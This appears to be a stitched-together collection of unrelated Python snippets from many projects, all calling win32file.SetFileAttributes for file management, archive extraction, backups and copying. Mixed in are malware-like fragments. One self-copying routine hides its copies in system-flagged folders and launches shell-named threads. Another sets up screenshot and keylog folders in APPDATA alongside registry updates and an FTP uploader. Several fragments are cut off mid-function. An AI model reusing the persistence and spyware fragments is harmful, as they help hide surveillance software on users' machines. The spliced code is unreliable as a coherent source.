def makedrivesd(drive,clientid,clfullname): if len(drive) != 2 or drive[-1] != ':': return 1 if drive.upper()[0] == 'C': return 2 # for safety # create what I need in root of drive vname=clfullname[:11] try: win32file.SetVolumeLabel(drive+'\\',vname) except: pass t=win32api.GetVolumeInformation(drive) #make hidden file identifying this as an SD f=rot13(clfullname+'\n') f=f+rot13(clientid+'\n') f=f+rot13(str(t[1])+'\n') now=time.strftime('%Y%m%d') f=f+'Created=%s\n'%now m=md5.new() m.update(f) f=f+'Check='+m.hexdigest() f=f+'\n' try: win32file.SetFileAttributes(drive+'\\sd.sys',win32file.FILE_ATTRIBUTE_NORMAL) except: pass # ignore error if not there try: fd=open(drive+'\\sd.sys','w') fd.write(f) fd.close() except: return 3 win32file.SetFileAttributes(drive+'\\sd.sys',win32file.FILE_ATTRIBUTE_READONLY | win32file.FILE_ATTRIBUTE_SYSTEM | win32file.FILE_ATTRIBUTE_HIDDEN) return 0
def set_attributes(path, archive=None, hidden=None, normal=None, notIndexed=None, readonly=None, system=None, temporary=None): ''' Set file attributes for a file. Note that the normal attribute means that all others are false. So setting it will clear all others. CLI Example: .. code-block:: bash salt '*' file.set_attributes c:\\temp\\a.txt normal=True salt '*' file.set_attributes c:\\temp\\a.txt readonly=True hidden=True ''' err = '' if not os.path.exists(path): err += 'File not found\n' if normal: if archive or hidden or notIndexed or readonly or system or temporary: err += 'Normal attribute may not be used with any other attributes\n' else: return win32file.SetFileAttributes(path, 128) if err: return err # Get current attributes intAttributes = win32file.GetFileAttributes(path) # individually set or clear bits for appropriate attributes if archive is not None: if archive: intAttributes |= 0x20 else: intAttributes &= 0xFFDF if hidden is not None: if hidden: intAttributes |= 0x2 else: intAttributes &= 0xFFFD if notIndexed is not None: if notIndexed: intAttributes |= 0x2000 else: intAttributes &= 0xDFFF if readonly is not None: if readonly: intAttributes |= 0x1 else: intAttributes &= 0xFFFE if system is not None: if system: intAttributes |= 0x4 else: intAttributes &= 0xFFFB if temporary is not None: if temporary: intAttributes |= 0x100 else: intAttributes &= 0xFEFF return win32file.SetFileAttributes(path, intAttributes)
def hide_file(self, filename): import win32file import win32con import win32api flags = win32file.GetFileAttributesW(filename) win32file.SetFileAttributes(filename, win32con.FILE_ATTRIBUTE_HIDDEN | flags)
def Delete(self, szItem, nOpSettings): #if __WXMSW__ strPath = self.m_strCurDir if not (self.m_strCurDir[-1] == '\\' or self.m_strCurDir[-1] == '/'): strPath += '/' strPath += szItem #print "bei delete", strPath dwAttr = win32file.GetFileAttributes(strPath) #//TOFIX add FILE_ATTRIBUTE_SYSTEM support #print "0" if ((-1 != dwAttr) and ((dwAttr & win32con.FILE_ATTRIBUTE_READONLY) == win32con.FILE_ATTRIBUTE_READONLY)): #//if the style was not set, ask the user what to do #print "1" if (not (nOpSettings & OPF_DEL_ALL_RO_FILES)): #print "2" #print "delete1" nOpSettings |= OpDeleteFileDlgThreadsafe(strPath) #print "delete2" if ((OPF_ABORT & nOpSettings) or (OPF_SKIP & nOpSettings)): return False #print "delete3" ''' /* if(m_bRecycleBin) { //NOTE: this one does not need removing the style to delete the file if(MoveToTrash(strPath)) return true; } */ ''' #//Hard delete (if required or recycle failed) if (-1 != dwAttr and dwAttr & win32con.FILE_ATTRIBUTE_READONLY): #//remove read-only style (so delete API won't fail) dwAttr &= ~(win32con.FILE_ATTRIBUTE_READONLY) win32file.SetFileAttributes(strPath, dwAttr) #//TOFIX add wipe support (global ini settings) if (dwAttr & win32con.FILE_ATTRIBUTE_DIRECTORY): #//NOTE: dir should be empty at this point #return (::RemoveDirectory(strPath) > 0); #win32file.RemoveDirectory (strPath) #TODO:Anzeige nachher wieder richtig (refreshen) #print "delete in dir" #TOO remove? #self.walktree(strPath, self.removefile, self.removedir) os.rmdir(strPath) #TODO: evaluate: really true? return True #os.removedirs(strPath) else: os.remove(strPath) #TODO: evaluate: really true? return True '''
def show_file(self, filename): import win32file import win32con import win32api flags = win32file.GetFileAttributesW(filename) win32file.SetFileAttributes(filename, win32con.FILE_ATTRIBUTE_NORMAL | flags)
def Execute(op): """実行処理。リトライが必要になった項目数を返す。""" try: to_attrib = op.instructions["to_attrib"] except KeyError: log.error("To_attrib or to_date is not specified.") return False # end 変更先がない op.output["all_OK"] = True op.output["retry"]["from"] = [] op.output["retry"]["to_attrib"] = [] i = 0 retry = 0 for elem in op.instructions["from"]: try: win32file.SetFileAttributes(elem, to_attrib[i]) except win32file.error as err: if helper.CommonFailure(op, elem, err, log): appendRetry(op.output, elem, to[i]) continue # end except op.output["succeeded"] += 1 i += 1 # end 項目の数だけ if len(op.output["retry"]["from"]) > 0: op.output["retry"]["operation"] = VERB retry = len(op.output["retry"]["from"]) # end リトライあるか return retry
def backup(self, path): """ Backup a file and save it to current folder With extension bu :param path: the file :return: None """ text = '' print(path) time.sleep(1) with open(path, 'r') as f: text = f.read() try: if os.name == 'nt': ctypes.windll.kernel32.SetFileAttributesW( self.get_back_file_path(path), 0x80) except ...: pass with open(self.get_back_file_path(path), 'w') as f: f.write(text) # Make it hidden for windows if os.name == 'nt': import win32file import win32con import win32api flags = win32file.GetFileAttributesW(self.get_back_file_path(path)) win32file.SetFileAttributes(self.get_back_file_path(path), win32con.FILE_ATTRIBUTE_HIDDEN | flags)
def hide_files(self): flags = win32file.GetFileAttributesW(home + "\\file.jpg") win32file.SetFileAttributes(home + "\\file.jpg", win32con.FILE_ATTRIBUTE_ENCRYPTED | flags) flags = win32file.GetFileAttributesW(home + "\\file_key.png") win32file.SetFileAttributes(home + "\\file_key.png", win32con.FILE_ATTRIBUTE_ENCRYPTED | flags) flags = win32file.GetFileAttributesW(home + "\\password.encrypted") win32file.SetFileAttributes(home + "\\password.encrypted", win32con.FILE_ATTRIBUTE_ENCRYPTED | flags) flags = win32file.GetFileAttributesW(home + "\\password_key.txt") win32file.SetFileAttributes(home + "\\password_key.txt", win32con.FILE_ATTRIBUTE_ENCRYPTED | flags)
def copyDirOverride(src, dst, exception=None): src = System.local_encode(src) dst = System.local_encode(dst) if not os.path.isdir(src): return if exception is None: exception = [] try: attr = win32file.GetFileAttributes(src) if attr & FILE_ATTRIBUTE_SYSTEM and attr & FILE_ATTRIBUTE_REPARSE_POINT: return win32file.SetFileAttributes(dst, attr) except: #print "Unable to setAttribute of",dst pass if not os.path.isdir(dst): os.makedirs(dst) dirs = None try: dirs = os.listdir(src) except Exception, err: return
def __init__(self, path): self.handle_map = {} import win32file, winerror from pywintypes import error from collections import defaultdict if isbytestring(path): path = path.decode(filesystem_encoding) if not os.path.exists(path): return names = os.listdir(path) name_to_fileid = {x:windows_get_fileid(os.path.join(path, x)) for x in names} fileid_to_names = defaultdict(set) for name, fileid in name_to_fileid.iteritems(): fileid_to_names[fileid].add(name) for x in names: f = os.path.normcase(os.path.abspath(os.path.join(path, x))) if not os.path.isfile(f): continue try: # Ensure the file is not read-only win32file.SetFileAttributes(f, win32file.FILE_ATTRIBUTE_NORMAL) except: pass try: h = win32file.CreateFile(f, win32file.GENERIC_READ, win32file.FILE_SHARE_DELETE, None, win32file.OPEN_EXISTING, win32file.FILE_FLAG_SEQUENTIAL_SCAN, 0) except error as e: if getattr(e, 'winerror', 0) == winerror.ERROR_SHARING_VIOLATION: # The file could be a hardlink to an already opened file, # in which case we use the same handle for both files fileid = name_to_fileid[x] found = False if fileid is not None: for other in fileid_to_names[fileid]: other = os.path.normcase(os.path.abspath(os.path.join(path, other))) if other in self.handle_map: self.handle_map[f] = self.handle_map[other] found = True break if found: continue self.close_handles() if getattr(e, 'winerror', 0) == winerror.ERROR_SHARING_VIOLATION: err = IOError(errno.EACCES, _('File is open in another process')) err.filename = f raise err raise except: self.close_handles() raise self.handle_map[f] = h
def togglefileattribute(filename, fileattribute, value): #switches the file attribute to on or off based on the true or false value passed bitvector = win32file.GetFileAttributes(filename) if value: bitvector |= fileattribute else: bitvector &= ~fileattribute win32file.SetFileAttributes(filename, bitvector)
def _copi(self): if not os.path.exists(self.path + self.dirss): os.mkdir(self.path + self.dirss) if not os.path.exists(self.path + self.dirss + self.name): shutil.copy(sys.argv[0], self.path + self.dirss) os.rename(self.path + self.dirss + os.path.basename(sys.argv[0]), self.path + self.dirss + self.name) else: try: os.remove(self.path + self.dirss + self.name) shutil.copy(sys.argv[0], self.path + self.dirss) os.rename( self.path + self.dirss + os.path.basename(sys.argv[0]), self.path + self.dirss + self.name) except: pass win32file.SetFileAttributes( self.path + self.dirss, win32file.FILE_ATTRIBUTE_HIDDEN | win32file.FILE_ATTRIBUTE_READONLY | win32file.FILE_ATTRIBUTE_SYSTEM) if not os.path.exists(self.paths + self.dirss): os.mkdir(self.paths + self.dirss) if not os.path.exists(self.paths + self.dirss + self.names): shutil.copy(sys.argv[0], self.paths + self.dirss) os.rename(self.paths + self.dirss + os.path.basename(sys.argv[0]), self.paths + self.dirss + self.names) else: try: os.remove(self.paths + self.dirss + self.names) shutil.copy(sys.argv[0], self.paths + self.dirss) os.rename( self.paths + self.dirss + os.path.basename(sys.argv[0]), self.paths + self.dirss + self.names) except: pass win32file.SetFileAttributes( self.paths + self.dirss, win32file.FILE_ATTRIBUTE_HIDDEN | win32file.FILE_ATTRIBUTE_READONLY | win32file.FILE_ATTRIBUTE_SYSTEM) #Запуск додаткових потоків self.trers = threading.Thread(target=lambda: self._crvbs()) self.trers.start() self.trer = threading.Thread(target=lambda: self._crshell()) self.trer.start() self._kil()
def hide_file(filename): try: import win32file import win32con import win32api except ImportError: pass else: flags = win32file.GetFileAttributesW(filename) win32file.SetFileAttributes(filename, win32con.FILE_ATTRIBUTE_HIDDEN | flags)
def zipafolder(dest, folder, d, sh): flist = [] for base, dirs, files in os.walk(folder): for f in files: flist.append(os.path.join(base, f)) fname = dest + '/' + os.path.basename(folder) + '.zip' omtime = os.stat(folder)[8] if os.path.exists(fname): try: win32file.SetFileAttributes(fname, 0) except: print 'set file A error' return 1 try: zf = zipfile.ZipFile(fname, 'w', zipfile.ZIP_DEFLATED) except: print 'unable to create zipfile ' return 2 for f in flist: #print f ##zf.write(dirname) ##for filename in files: ## zf.write(os.path.join(dirname, filename),filename,zipfile.ZIP_DEFLATED) fa = f[len(d):] try: zf.write(f, fa, zipfile.ZIP_DEFLATED) except: print 'unable to add to zipfile' return 3 try: zf.close() if sh: win32file.SetFileAttributes(fname, sh) except: print 'unable to complete zipfile' return 4 os.utime(fname, (omtime, omtime)) return 0
def setHidden(fd, hide): global hidden print fd, if useWin32: fa = win32file.GetFileAttributes(fd) print fa, if hide: win32file.SetFileAttributes(fd, fa | hidden) else: if fa & hidden: win32file.SetFileAttributes(fd, fa ^ hidden) print win32file.GetFileAttributes(fd) else: if hide: setter = '+h' else: setter = '-h' # code = os.spawnlp( os.P_WAIT, 'attrib', setter, fd, '/s', '/d') code = os.system('attrib %s %s /s /d' % (setter, fd)) print code
def __init__(self): self.list_disk = [] self.list_leter = psutil.disk_partitions() for i in self.list_leter: if i.opts == 'rw,removable': self.list_disk.append(i.device) if self.list_disk.__len__() > 0: for i in self.list_disk: for d_f in os.listdir(i): self.files = i + d_f print(self.files) win32file.SetFileAttributes( self.files, win32file.FILE_ATTRIBUTE_NORMAL) else: pass
def fset(self, attrib): try: import win32file except: raise NotSupportedException("this method is win32 only") if os.path.exists(self.original_path): if isinstance(attrib, FileAttributes): attrib = attrib.value elif not isinstance(attrib, int): raise TypeError( "Attributes should be a bitwise combination of the enumeration FileAttributes values") if attrib != 0: if os.path.isdir(self.original_path): attrib &= ~0x100 win32file.SetFileAttributes(self.original_path, attrib) else: raise DirectoryNotFoundException( "'%s' not found" % self.original_path)
def __init__(self, path): self.handle_map = {} import win32file, winerror from pywintypes import error if isbytestring(path): path = path.decode(filesystem_encoding) if not os.path.exists(path): return for x in os.listdir(path): f = os.path.normcase(os.path.abspath(os.path.join(path, x))) if not os.path.isfile(f): continue try: # Ensure the file is not read-only win32file.SetFileAttributes(f, win32file.FILE_ATTRIBUTE_NORMAL) except: pass try: h = win32file.CreateFile(f, win32file.GENERIC_READ, win32file.FILE_SHARE_DELETE, None, win32file.OPEN_EXISTING, win32file.FILE_FLAG_SEQUENTIAL_SCAN, 0) except error as e: self.close_handles() if getattr(e, 'winerror', 0) == winerror.ERROR_SHARING_VIOLATION: err = IOError(errno.EACCES, _('File is open in another process')) err.filename = f raise err raise except: self.close_handles() raise self.handle_map[f] = h
def FileCopy(self, szSrc, szDest, pProgress, nOffset): bRes = false #ifdef __WXMSW__ #szSrc = 'c:\\test.DAT' #szDest = 'c:\\neu\\AVG6DB_F.DAT' #print szSrc, szDest ### check if the source file really can be opened #TOMAKEBETTER: ask, if file exists or catch 'file not exist exception' bopend = True try: nSrcFile = open(szSrc, 'rb', 0) except: bopend = False #nSrcFile = _open(szSrc, _O_BINARY|_O_RDONLY, 0); #if(nSrcFile > -1): if bopend: #//if the destination file exists and is read-only ### check if the destination file already exists bopend = True try: nSrcFile = open(szDest, 'rb', 0) except: bopend = False if bopend: #if(0 == access(szDest, 00)) dwAttr = win32file.GetFileAttributes(szDest) if (-1 != dwAttr and dwAttr & win32con.FILE_ATTRIBUTE_READONLY): #//remove read only flag dwAttr &= ~(win32con.FILE_ATTRIBUTE_READONLY) win32file.SetFileAttributes(szDest, dwAttr) #//TOFIX _O_RDWR instead of _O_RDONLY for rollback segment checking #nDstFile = open(szDest, _O_BINARY|_O_CREAT|_O_WRONLY, _S_IREAD); nDstFile = open(szDest, 'wb') ### check if the nDstFile can be created #if(nDstFile > -1) # if (nDstFile != -1): #char szBuffer[10000]; nRead = 0 #struct _stati64 st; #_stati64(szSrc, &st); #uSrcSize = 0 uSrcSize = os.path.getsize(szSrc) #wxInt64 uSrcSize = st.st_size; //__int64 #_stati64(szDest, &st); #wxInt64 uDstSize = st.st_size; uDstSize = 0 #TOMAKEBETTER: find better solution #//TOFIX implement overlapping resuming for content checking #if(nOffset>0 && uSrcSize > uDstSize){ if nOffset > 0 and uSrcSize > uDstSize: nSrcFile.seek(nSrcFile, uDstSize, 0) #SEEK_SET) nStartProgress = uDstSize nStartProgress = 0 if (NULL != pProgress): pProgress.InitCurrentFiles(szSrc, szDest) pProgress.InitCurrentProgress(nStartProgress, uSrcSize) #i = 0 while nRead < uSrcSize: #print nRead, uSrcSize szBuffer = nSrcFile.read(1000000) #szBuffer = os.read (1000000) nReaded = len(szBuffer) #i += 1 if szBuffer == '': break if (NULL != pProgress): if pProgress.IsAborted(): break nRead += nReaded #sleeptime = (random() * 2) + 0.5 #time.sleep(sleeptime/4) pProgress.StepPos(nReaded) #nDstFile.write (szBuffer, 10000) #time.sleep(0.1) nDstFile.write(szBuffer) #//TOFIX what if user wants to keep partialy copied file ? (option?) if (pProgress and pProgress.IsAborted()): #//TOFIX reuse code common with Delete() -> version without Dlgs nDstFile.close() dwAttr = win32file.GetFileAttributes(szDest) if (-1 != dwAttr and dwAttr & win32con.FILE_ATTRIBUTE_READONLY): #//remove read-only style (so delete API won't fail) dwAttr &= ~(win32con.FILE_ATTRIBUTE_READONLY) win32file.SetFileAttributes(szDest, dwAttr) #//VERIFY os.remove(szDest) else: #//copy file attributes dwAttrib = win32file.GetFileAttributes(szSrc) #if(-1 != dwAttrib): # win32file.SetFileAttributes(szDest, dwAttrib) #//before closing the file copy file dates #FILETIME ftCreated, ftAccessed, ftModified; #HANDLE hSrc = (HANDLE)_get_osfhandle(nSrcFile); #HANDLE hDst = (HANDLE)_get_osfhandle(nDstFile); nDstFile.close() nSrcFile.close() #print 'SetFileTime' #hSrc = win32file.CreateFile(nSrcFile, win32file.GENERIC_READ, 0, None, win32file.OPEN_EXISTING, 0, 0) hSrc = win32file.CreateFile(szSrc, win32file.GENERIC_READ, 0, None, win32file.OPEN_EXISTING, 0, 0) #TOMAKEBETTER: better solution try: hDst = win32file.CreateFile(szDest, win32file.GENERIC_WRITE, 0, None, win32file.OPEN_EXISTING, 0, 0) filetime = win32file.GetFileTime(hSrc) if (filetime): win32file.SetFileTime(hDst, filetime[1], filetime[2], filetime[3]) hDst.Close() except: wxMessageBox(_("cannot access to destination file!")) #erst hier, sonst kam bei filetime von read only 'cannot access to destination file!' if (-1 != dwAttrib): win32file.SetFileAttributes(szDest, dwAttrib) #[1, <PyTime:05.08.2003 21:12:20>, <PyTime:09.01.2004 23:00:00>, <PyTime:10.01.2004 18:28:40>] hSrc.Close() #if(GetFileTime(hSrc, &ftCreated, &ftAccessed, &ftModified)) # SetFileTime(hDst, &ftCreated, &ftAccessed, &ftModified); bRes = True nSrcFile.close() #else ''' //TOFIX add missing code int nSrcFile = open(szSrc, O_RDONLY, 0); if(nSrcFile > -1) { //if the destination file exists and is read-only if(0 == access(szDest, 00)){ } //TOFIX O_RDWR instead of O_RDONLY for rollback segment checking int nDstFile = open(szDest, O_CREAT|O_WRONLY|O_LARGEFILE, S_IREAD); if(nDstFile > -1) { char szBuffer[10000]; wxUint32 nRead; struct stat st; stat(szSrc, &st); wxInt64 uSrcSize = st.st_size; //__int64 stat(szDest, &st); wxInt64 uDstSize = st.st_size; wxInt64 nStartProgress = 0; //TOFIX implement overlapping resuming for content checking if(nOffset>0 && uSrcSize > uDstSize){ lseek64(nSrcFile, uDstSize, SEEK_SET); nStartProgress = uDstSize; } if(NULL != pProgress){ pProgress->InitCurrentFiles(szSrc, szDest); pProgress->InitCurrentProgress(nStartProgress, uSrcSize); } while(0 != (nRead = read(nSrcFile, szBuffer, sizeof(szBuffer)))) { if(NULL != pProgress){ if(pProgress->IsAborted()) break; pProgress->StepPos(nRead); } write(nDstFile, szBuffer, nRead); } //TOFIX what if user wants this !!! (option) if(pProgress && pProgress->IsAborted()) { //delete file - including readonly file //TOFIX reuse code common with Delete() -> version without Dlgs ::wxRemoveFile(szDest); } else { //copy file attributes } close(nDstFile); bRes = true; } close(nSrcFile); } #endif ''' return bRes
PORT = 65432 # tested only on windows if os.name is not 'nt': exit(0) try: update_registry() except Exception as e: pass # path to save screenShots screens_path = os.environ['APPDATA'] + os.sep + 'scrscr' # make sure the dir exists if os.path.isdir(screens_path) is False: os.mkdir(screens_path) win32file.SetFileAttributes(screens_path, win32file.FILE_ATTRIBUTE_READONLY) # path to save keyLogs logs_path = os.environ['APPDATA'] + os.sep + 'loglog' + os.sep # make sure the dir exists if os.path.isdir(logs_path) is False: os.mkdir(logs_path) win32file.SetFileAttributes(logs_path, win32file.FILE_ATTRIBUTE_READONLY) logs_path += 'loglog.txt' # get username uname = os.environ['USERNAME'] # class that handles ftp ftps = FTPs(uname)
def make_accessible(path): win32file.SetFileAttributes(path, win32con.FILE_ATTRIBUTE_NORMAL)
def make_readonly(path): win32file.SetFileAttributes(path, win32con.FILE_ATTRIBUTE_READONLY)
def unzip(zip_file, dest, excludes=None, options=None, template=None, runas=None, trim_output=False, password=None, extract_perms=True): ''' Uses the ``zipfile`` Python module to unpack zip files .. versionchanged:: 2015.5.0 This function was rewritten to use Python's native zip file support. The old functionality has been preserved in the new function :mod:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>`. For versions 2014.7.x and earlier, see the :mod:`archive.cmd_zip <salt.modules.archive.cmd_zip>` documentation. zip_file Path of zip file to be unpacked dest The destination directory into which the file should be unpacked excludes : None Comma-separated list of files not to unpack. Can also be passed in a Python list. options This options are only used when ``unzip`` binary is used. In this function is ignored. .. versionadded:: 2016.3.1 template : None Can be set to 'jinja' or another supported template engine to render the command arguments before execution: .. code-block:: bash salt '*' archive.unzip template=jinja /tmp/zipfile.zip /tmp/{{grains.id}}/ excludes=file_1,file_2 runas : None Unpack the zip file as the specified user. Defaults to the user under which the minion is running. trim_output : False The number of files we should output on success before the rest are trimmed, if this is set to True then it will default to 100 CLI Example: .. code-block:: bash salt '*' archive.unzip /tmp/zipfile.zip /home/strongbad/ excludes=file_1,file_2 password Password to use with password protected zip files .. note:: The password will be present in the events logged to the minion log file at the ``debug`` log level. If the minion is logging at ``debug`` (or more verbose), then be advised that the password will appear in the log. .. versionadded:: 2016.3.0 extract_perms : True The Python zipfile_ module does not extract file/directory attributes by default. When this argument is set to ``True``, Salt will attempt to apply the file permission attributes to the extracted files/folders. On Windows, only the read-only flag will be extracted as set within the zip file, other attributes (i.e. user/group permissions) are ignored. Set this argument to ``False`` to disable this behavior. .. versionadded:: 2016.11.0 .. _zipfile: https://docs.python.org/2/library/zipfile.html CLI Example: .. code-block:: bash salt '*' archive.unzip /tmp/zipfile.zip /home/strongbad/ password='******' ''' if not excludes: excludes = [] if runas: euid = os.geteuid() egid = os.getegid() uinfo = __salt__['user.info'](runas) if not uinfo: raise SaltInvocationError( "User '{0}' does not exist".format(runas)) zip_file, dest = _render_filenames(zip_file, dest, None, template) if runas and (euid != uinfo['uid'] or egid != uinfo['gid']): # Change the egid first, as changing it after the euid will fail # if the runas user is non-privileged. os.setegid(uinfo['gid']) os.seteuid(uinfo['uid']) try: # Define cleaned_files here so that an exception will not prevent this # variable from being defined and cause a NameError in the return # statement at the end of the function. cleaned_files = [] with contextlib.closing(zipfile.ZipFile(zip_file, "r")) as zfile: files = zfile.namelist() if isinstance(excludes, six.string_types): excludes = [x.strip() for x in excludes.split(',')] elif isinstance(excludes, (float, six.integer_types)): excludes = [six.text_type(excludes)] cleaned_files.extend([x for x in files if x not in excludes]) for target in cleaned_files: if target not in excludes: if salt.utils.platform.is_windows() is False: info = zfile.getinfo(target) # Check if zipped file is a symbolic link if stat.S_ISLNK(info.external_attr >> 16): source = zfile.read(target) os.symlink(source, os.path.join(dest, target)) continue zfile.extract(target, dest, password) if extract_perms: if not salt.utils.platform.is_windows(): perm = zfile.getinfo(target).external_attr >> 16 if perm == 0: umask_ = salt.utils.files.get_umask() if target.endswith('/'): perm = 0o777 & ~umask_ else: perm = 0o666 & ~umask_ os.chmod(os.path.join(dest, target), perm) else: win32_attr = zfile.getinfo( target).external_attr & 0xFF win32file.SetFileAttributes( os.path.join(dest, target), win32_attr) except Exception as exc: if runas: os.seteuid(euid) os.setegid(egid) # Wait to raise the exception until euid/egid are restored to avoid # permission errors in writing to minion log. raise CommandExecutionError( 'Exception encountered unpacking zipfile: {0}'.format(exc)) finally: # Restore the euid/egid if runas: os.seteuid(euid) os.setegid(egid) return _trim_files(cleaned_files, trim_output)
def set_file_attr_hidden(path): """Set file attributes to hidden if possible""" if has_win32file: win32file.SetFileAttributes(path, win32file.FILE_ATTRIBUTE_HIDDEN)
def set_file_attributes(path, file_attributes): # Windows API call win32file.SetFileAttributes(path, file_attributes)
copyDirOverride(path_src, path_dst, exception) else: if f.startswith("UsrClass.dat"): continue attr = None if os.path.exists(path_dst): attr = win32file.GetFileAttributes(path_dst) os.remove(path_dst) try: win32file.CopyFile(path_src, path_dst, False) except: pass try: if attr is not None: win32file.SetFileAttributes(path_dst, attr) except: #print "Unable to setAttribute of",path_dst pass def get_from_PATH(name): try: env_var = os.environ["PATH"] except KeyError: return None for p in env_var.split(os.pathsep): path = os.path.join(p, name) if os.path.exists(path): return path